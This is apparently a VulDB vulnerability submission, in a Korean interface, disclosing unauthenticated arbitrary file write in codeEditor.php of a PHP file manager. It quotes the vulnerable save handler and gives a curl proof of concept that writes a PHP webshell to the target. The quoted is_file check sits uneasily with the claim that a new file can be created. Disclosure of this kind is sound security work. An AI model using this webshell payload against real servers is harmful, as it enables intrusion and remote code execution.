| 제목 | JosephChuks php-file-manager-with-code-editor(CWP Code Editor v2.0.1) latest (main branch, codeEditor.php) Arbitrary File Write (CWE-22) / Code Injection (CWE-94) |
|---|
| 설명 | codeEditor.php (v2.0.1) allows unauthenticated arbitrary file write via the save handler, leading to remote code
execution.
Lines 9-15:
if (!isset($_GET["filename"]) || !is_file($_GET["filename"])) {
die("Invalid file specified.");
}
$filename = $_GET["filename"];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$content = $_POST["content"];
file_put_contents($filename, $content);
}
No authentication is performed. The $_GET['filename'] parameter is passed directly to file_put_contents() without path
sanitization or extension validation. An attacker can POST to codeEditor.php?filename=shell.php with PHP code as
content, creating a webshell in the web root.
PoC: curl -X POST -d "content=<?php system(\$_GET[c]);?>" "http://target/codeEditor.php?filename=shell.php"
CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
|---|
| 원천 | ⚠️ https://github.com/JosephChuks/php-file-manager-with-code-editor/blob/main/codeEditor.php#L9 |
|---|
| 사용자 | milocat (UID 99840) |
|---|
| 제출 | 2026. 07. 20. AM 05:08 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 22. AM 08:29 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 408348 [JosephChuks php-file-manager-with-code-editor 까지 3.0 Save codeEditor.php file_put_contents filename/content 권한 상승] |
|---|
| 포인트들 | 20 |
|---|